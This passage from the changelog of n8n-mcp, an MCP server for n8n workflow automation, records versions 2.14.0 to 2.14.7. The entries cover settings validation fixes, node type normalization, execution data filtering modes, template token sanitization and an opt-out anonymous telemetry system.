generation) 2222 | - 30-60x faster configuration lookups 2223 | - 85x more configuration examples (2,646 vs 31) 2224 | 2225 | ## [2.14.7] - 2025-10-02 2226 | 2227 | ### Fixed 2228 | - **Issue #248: Settings Validation Error** - Fixed "settings must NOT have additional properties" API errors 2229 | - Added `callerPolicy` property to `workflowSettingsSchema` to support valid n8n workflow setting 2230 | - Implemented whitelist-based settings filtering in `cleanWorkflowForUpdate()` to prevent API errors 2231 | - Filter removes UI-only properties (e.g., `timeSavedPerExecution`) that cause validation failures 2232 | - Only whitelisted properties are sent to n8n API: `executionOrder`, `timezone`, `saveDataErrorExecution`, `saveDataSuccessExecution`, `saveManualExecutions`, `saveExecutionProgress`, `executionTimeout`, `errorWorkflow`, `callerPolicy` 2233 | - Resolves workflow update failures caused by workflows fetched from n8n containing non-standard properties 2234 | - Added 6 comprehensive unit tests covering settings filtering scenarios 2235 | 2236 | - **Issue #249: Misleading AddConnection Error Messages** - Enhanced parameter validation with helpful error messages 2237 | - Detect common parameter mistakes: using `sourceNodeId`/`targetNodeId` instead of correct `source`/`target` 2238 | - Improved error messages include: 2239 | - Identification of wrong parameter names with correction guidance 2240 | - Examples of correct usage 2241 | - List of available nodes when source/target not found 2242 | - Error messages now actionable instead of cryptic (was: "Source node not found: undefined") 2243 | - Added 8 comprehensive unit tests for parameter validation scenarios 2244 | 2245 | - **P0-R1: Universal Node Type Normalization** - Eliminates 80% of validation errors 2246 | - Implemented `NodeTypeNormalizer` utility for consistent node type handling 2247 | - Automatically converts short forms to full forms (e.g., `nodes-base.webhook` → `n8n-nodes-base.webhook`) 2248 | - Applied normalization across all workflow validation entry points 2249 | - Updated workflow validator, handlers, and repository for universal normalization 2250 | - Fixed test expectations to match normalized node type format 2251 | - Resolves the single largest source of validation errors in production 2252 | 2253 | ### Added 2254 | - `NodeTypeNormalizer` utility class for universal node type normalization 2255 | - `normalizeToFullForm()` - Convert any node type variation to canonical form 2256 | - `normalizeWithDetails()` - Get normalization result with metadata 2257 | - `normalizeWorkflowNodeTypes()` - Batch normalize all nodes in a workflow 2258 | - Settings whitelist filtering in `cleanWorkflowForUpdate()` with comprehensive null-safety 2259 | - Enhanced `validateAddConnection()` with proactive parameter validation 2260 | - 14 new unit tests for issues #248 and #249 fixes 2261 | 2262 | ### Changed 2263 | - Node repository now uses `NodeTypeNormalizer` for all lookups 2264 | - Workflow validation applies normalization before structure checks 2265 | - Workflow diff engine validates connection parameters before processing 2266 | - Settings filtering applied to all workflow update operations 2267 | 2268 | ### Performance 2269 | - No performance impact - normalization adds <1ms overhead per workflow 2270 | - Settings filtering is O(9) - negligible impact 2271 | 2272 | ### Test Coverage 2273 | - n8n-validation tests: 73/73 passing (100% coverage) 2274 | - workflow-diff-engine tests: 110/110 passing (89.72% coverage) 2275 | - Total: 183 tests passing 2276 | 2277 | ### Impact 2278 | - **Issue #248**: Eliminates ALL settings validation errors for workflows with non-standard properties 2279 | - **Issue #249**: Provides clear, actionable error messages reducing user frustration 2280 | - **P0-R1**: Reduces validation error rate by 80% (addresses 4,800+ weekly errors) 2281 | - Combined impact: Expected overall error rate reduction from 5-10% to <2% 2282 | 2283 | ## [2.14.6] - 2025-10-01 2284 | 2285 | ### Enhanced 2286 | - **Webhook Error Messages**: Replaced generic "Please try again later or contact support" messages with actionable guidance 2287 | - Error messages now extract execution ID and workflow ID from failed webhook triggers 2288 | - Guide users to use `n8n_get_execution({id: executionId, mode: 'preview'})` for efficient debugging 2289 | - Format: "Workflow {workflowId} execution {executionId} failed. Use n8n_get_execution({id: '{executionId}', mode: 'preview'}) to investigate the error." 2290 | - When no execution ID available: "Workflow failed to execute. Use n8n_list_executions to find recent executions, then n8n_get_execution with mode='preview' to investigate." 2291 | 2292 | ### Added 2293 | - New error formatting functions in `n8n-errors.ts`: 2294 | - `formatExecutionError()` - Creates execution-specific error messages with debugging guidance 2295 | - `formatNoExecutionError()` - Provides guidance when execution context unavailable 2296 | - Enhanced `McpToolResponse` type with optional `executionId` and `workflowId` fields 2297 | - Error handling documentation in `n8n-trigger-webhook-workflow` tool docs 2298 | - 30 new comprehensive tests for error message formatting and webhook error handling 2299 | 2300 | ### Changed 2301 | - `handleTriggerWebhookWorkflow` now extracts execution context from error responses 2302 | - `getUserFriendlyErrorMessage` returns actual server error messages instead of generic text 2303 | - Tool documentation type enhanced with optional `errorHandling` field 2304 | 2305 | ### Fixed 2306 | - Test expectations updated to match new error message format (handlers-workflow-diff.test.ts) 2307 | 2308 | ### Benefits 2309 | - **Fast debugging**: Preview mode executes in <50ms (vs seconds for full data) 2310 | - **Efficient**: Uses ~500 tokens (vs 50K+ tokens for full execution data) 2311 | - **Safe**: No timeout or token limit risks 2312 | - **Actionable**: Clear next steps for users to investigate failures 2313 | 2314 | ### Impact 2315 | - Eliminates unhelpful "contact support" messages 2316 | - Provides specific, actionable debugging guidance 2317 | - Reduces debugging time by directing users to efficient tools 2318 | - 100% backward compatible - only improves error messages 2319 | 2320 | ## [2.14.5] - 2025-09-30 2321 | 2322 | ### Added 2323 | - **Intelligent Execution Data Filtering**: Major enhancement to `n8n_get_execution` tool to handle large datasets without exceeding token limits 2324 | - **Preview Mode**: Shows data structure, counts, and size estimates without actual data (~500 tokens) 2325 | - **Summary Mode**: Returns 2 sample items per node (safe default, ~2-5K tokens) 2326 | - **Filtered Mode**: Granular control with node filtering and custom item limits 2327 | - **Full Mode**: Complete data retrieval (explicit opt-in) 2328 | - Smart recommendations based on data size (guides optimal retrieval strategy) 2329 | - Structure-only mode (`itemsLimit: 0`) to see data schema without values 2330 | - Node-specific filtering with `nodeNames` parameter 2331 | - Input data inclusion option for debugging transformations 2332 | - Automatic size estimation and token consumption guidance 2333 | 2334 | ### Enhanced 2335 | - `n8n_get_execution` tool with new parameters: 2336 | - `mode`: 'preview' | 'summary' | 'filtered' | 'full' 2337 | - `nodeNames`: Filter to specific nodes 2338 | - `itemsLimit`: Control items per node (0=structure, -1=unlimited, default=2) 2339 | - `includeInputData`: Include input data for debugging 2340 | - Legacy `includeData` parameter mapped to new modes for backward compatibility 2341 | - Tool documentation with comprehensive examples and best practices 2342 | - Type system with new interfaces: `ExecutionMode`, `ExecutionPreview`, `ExecutionFilterOptions`, `FilteredExecutionResponse` 2343 | 2344 | ### Technical Improvements 2345 | - New `ExecutionProcessor` service with intelligent filtering logic 2346 | - Smart data truncation with metadata (`hasMoreData`, `truncated` flags) 2347 | - Validation for `itemsLimit` (capped at 1000, negative values default to 2) 2348 | - Error message extraction helper for consistent error handling 2349 | - Constants-based thresholds for easy tuning (20/50/100KB limits) 2350 | - 33 comprehensive unit tests with 78% coverage 2351 | - Null-safe data access throughout 2352 | 2353 | ### Performance 2354 | - Preview mode: <50ms (no data, just structure) 2355 | - Summary mode: <200ms (2 items per node) 2356 | - Filtered mode: 50-500ms (depends on filters) 2357 | - Size estimation within 10-20% accuracy 2358 | 2359 | ### Impact 2360 | - Solves token limit issues when inspecting large workflow executions 2361 | - Enables AI agents to understand execution data without overwhelming responses 2362 | - Reduces token usage by 80-95% for large datasets (50+ items) 2363 | - Maintains 100% backward compatibility with existing integrations 2364 | - Recommended workflow: preview → recommendation → filtered/summary 2365 | 2366 | ### Fixed 2367 | - Preview mode bug: Fixed API data fetching logic to ensure preview mode retrieves execution data for structure analysis and recommendation generation 2368 | - Changed `fetchFullData` condition in handlers-n8n-manager.ts to include preview mode 2369 | - Preview mode now correctly returns structure, item counts, and size estimates 2370 | - Recommendations are now accurate and prevent token overflow issues 2371 | 2372 | ### Migration Guide 2373 | - **No breaking changes**: Existing `n8n_get_execution` calls work unchanged 2374 | - New recommended workflow: 2375 | 1. Call with `mode: 'preview'` to assess data size 2376 | 2. Follow `recommendation.suggestedMode` from preview 2377 | 3. Use `mode: 'filtered'` with `itemsLimit` for precise control 2378 | - Legacy `includeData: true` now maps to `mode: 'summary'` (safer default) 2379 | 2380 | ## [2.14.4] - 2025-09-30 2381 | 2382 | ### Added 2383 | - **Workflow Cleanup Operations**: Two new operations for `n8n_update_partial_workflow` 2384 | - `cleanStaleConnections`: Automatically removes connections referencing non-existent nodes 2385 | - `replaceConnections`: Replace entire connections object in a single operation 2386 | - **Graceful Error Handling**: Enhanced `removeConnection` with `ignoreErrors` flag 2387 | - **Best-Effort Mode**: New `continueOnError` mode for `WorkflowDiffRequest` 2388 | - Apply valid operations even if some fail 2389 | - Returns detailed results with `applied` and `failed` operation indices 2390 | - Maintains atomic mode as default for safety 2391 | 2392 | ### Enhanced 2393 | - Tool documentation for workflow cleanup scenarios 2394 | - Type system with new operation interfaces 2395 | - 15 new tests covering all new features 2396 | 2397 | ### Impact 2398 | - Reduces broken workflow fix time from 10-15 minutes to 30 seconds 2399 | - Token efficiency: `cleanStaleConnections` is 1 operation vs 10+ manual operations 2400 | - 100% backwards compatibility maintained 2401 | 2402 | ## [2.14.3] - 2025-09-30 2403 | 2404 | ### Added 2405 | - Incremental template updates with `npm run fetch:templates:update` 2406 | - Smart filtering for new templates (5-10 min vs 30-40 min full rebuild) 2407 | - 48 new templates (2,598 → 2,646 total) 2408 | 2409 | ### Fixed 2410 | - Template metadata generation: Updated to `gpt-4o-mini-2025-08-07` model 2411 | - Removed unsupported `temperature` parameter from OpenAI Batch API 2412 | - Template sanitization: Added Airtable PAT and GitHub token detection 2413 | - Sanitized 24 templates removing API tokens 2414 | 2415 | ### Updated 2416 | - n8n: 1.112.3 → 1.113.3 2417 | - n8n-core: 1.111.0 → 1.112.1 2418 | - n8n-workflow: 1.109.0 → 1.110.0 2419 | - @n8n/n8n-nodes-langchain: 1.111.1 → 1.112.2 2420 | - Node database rebuilt with 536 nodes from n8n v1.113.3 2421 | 2422 | ## [2.14.2] - 2025-09-29 2423 | 2424 | ### Fixed 2425 | - Validation false positives for Google Drive nodes with 'fileFolder' resource 2426 | - Added node type normalization to handle both `n8n-nodes-base.` and `nodes-base.` prefixes correctly 2427 | - Fixed resource validation to properly recognize all valid resource types 2428 | - Default operations are now properly applied when not specified 2429 | - Property visibility is now correctly checked with defaults applied 2430 | - Code node validation incorrectly flagging valid n8n expressions as syntax errors 2431 | - Removed overly aggressive regex pattern `/\)\s*\)\s*{/` that flagged valid expressions 2432 | - Valid patterns like `$('NodeName').first().json` are now correctly recognized 2433 | - Function chaining and method chaining no longer trigger false positives 2434 | - Enhanced error handling in repository methods based on code review feedback 2435 | - Added try-catch blocks to `getNodePropertyDefaults` and `getDefaultOperationForResource` 2436 | - Validates data structures before accessing to prevent crashes with malformed node data 2437 | - Returns safe defaults on errors to ensure validation continues 2438 | 2439 | ### Added 2440 | - Comprehensive test coverage for validation fixes in `tests/unit/services/validation-fixes.test.ts` 2441 | - New repository methods for better default value handling: 2442 | - `getNodePropertyDefaults()` - retrieves default values for node properties 2443 | - `getDefaultOperationForResource()` - gets default operation for a specific resource 2444 | 2445 | ### Changed 2446 | - Enhanced `filterPropertiesByMode` to return both filtered properties and config with defaults applied 2447 | - Improved node type validation to accept both valid prefix formats 2448 | 2449 | ## [2.14.1] - 2025-09-26 2450 | 2451 | ### Changed 2452 | - **BREAKING**: Refactored telemetry system with major architectural improvements 2453 | - Split 636-line TelemetryManager into 7 focused modules (event-tracker, batch-processor, event-validator, rate-limiter, circuit-breaker, workflow-sanitizer, config-manager) 2454 | - Changed TelemetryManager constructor to private, use `getInstance()` method now 2455 | - Implemented lazy initialization pattern to avoid early singleton creation 2456 | 2457 | ### Added 2458 | - Security & Privacy enhancements for telemetry: 2459 | - Comprehensive input validation with Zod schemas 2460 | - Enhanced sanitization of sensitive data (URLs, API keys, emails) 2461 | - Expanded sensitive key detection patterns (25+ patterns) 2462 | - Row Level Security on Supabase backend 2463 | - Data deletion contact info ([email protected]) 2464 | - Performance & Reliability improvements: 2465 | - Sliding window rate limiter (100 events/minute) 2466 | - Circuit breaker pattern for network failures 2467 | - Dead letter queue for failed events 2468 | - Exponential backoff with jitter for retries 2469 | - Performance monitoring with overhead tracking (<5%) 2470 | - Memory-safe array limits in rate limiter 2471 | - Comprehensive test coverage enhancements: 2472 | - Added 662 lines of new telemetry tests 2473 | - Enhanced config-manager tests with 17 new edge cases 2474 | - Enhanced workflow-sanitizer tests with 19 new edge cases 2475 | - Improved coverage from 63% to 91% for telemetry module 2476 | - Branch coverage improved from 69% to 87% 2477 | 2478 | ### Fixed 2479 | - TypeScript lint errors in telemetry test files 2480 | - Corrected variable name conflicts in integration tests 2481 | - Fixed process.exit mock implementation in batch-processor tests 2482 | - Fixed tuple type annotations for workflow node positions 2483 | - Resolved MockInstance type import issues 2484 | - Test failures in CI pipeline 2485 | - Fixed test timeouts caused by improper fake timer usage 2486 | - Resolved Timer.unref() compatibility issues 2487 | - Fixed event validator filtering standalone 'key' property 2488 | - Corrected batch processor circuit breaker behavior 2489 | - TypeScript error in telemetry test preventing CI build 2490 | - Added @supabase/supabase-js to Docker builder stage and runtime dependencies 2491 | 2492 | ## [2.14.0] - 2025-09-26 2493 | 2494 | ### Added 2495 | - Anonymous telemetry system with Supabase integration to understand usage patterns 2496 | - Tracks active users with deterministic anonymous IDs 2497 | - Records MCP tool usage frequency and error rates 2498 | - Captures sanitized workflow structures on successful validation 2499 | - Monitors common error patterns for improvement insights 2500 | - Zero-configuration design with opt-out support via N8N_MCP_TELEMETRY_DISABLED environment variable 2501 | 2502 | - Enhanced telemetry tracking methods: 2503 | - `trackSearchQuery` - Records search patterns and result counts 2504 | - `trackValidationDetails` - Captures validation errors and warnings 2505 | - `trackToolSequence` - Tracks AI agent tool usage sequences 2506 | - `trackNodeConfiguration` - Records common node configuration patterns 2507 | - `trackPerformanceMetric` - Monitors operation performance 2508 | 2509 | - Privacy-focused workflow sanitization: 2510 | - Removes all sensitive data (URLs, API keys, credentials) 2511 | - Generates workflow hashes for deduplication 2512 | - Preserves only structural information 2513 | 2514 | - Comprehensive test coverage for telemetry components (91%+ coverage) 2515 | 2516 | ### Fixed 2517 | - Fixed TypeErrors in `get_node_info`, `get_node_essentials`, and `get_node_documentation` tools that were affecting 50% of calls 2518 | - Added null safety checks for undefined node properties 2519 | - Fixed multi-process telemetry issues with immediate flush strategy 2520 | - Resolved RLS policy and permission issues with Supabase 2521 | 2522 | ### Changed 2523 | - Updated Docker configuration to include Supabase client for telemetry support 2524 | - Enhanced workflow validation tools to track validated workflows 2525 | - Improved error handling with proper null coalescing operators 2526 | 2527 | ### Documentation 2528 | - Added PRIVACY.md with comprehensive privacy policy 2529 | - Added telemetry configuration instructions to README 2530 | - Updated CLAUDE.md with telemetry system architecture 2531 | 2532 | ## Previous Versions 2533 | 2534 | For changes in previous versions, please refer to the git history and release notes. ```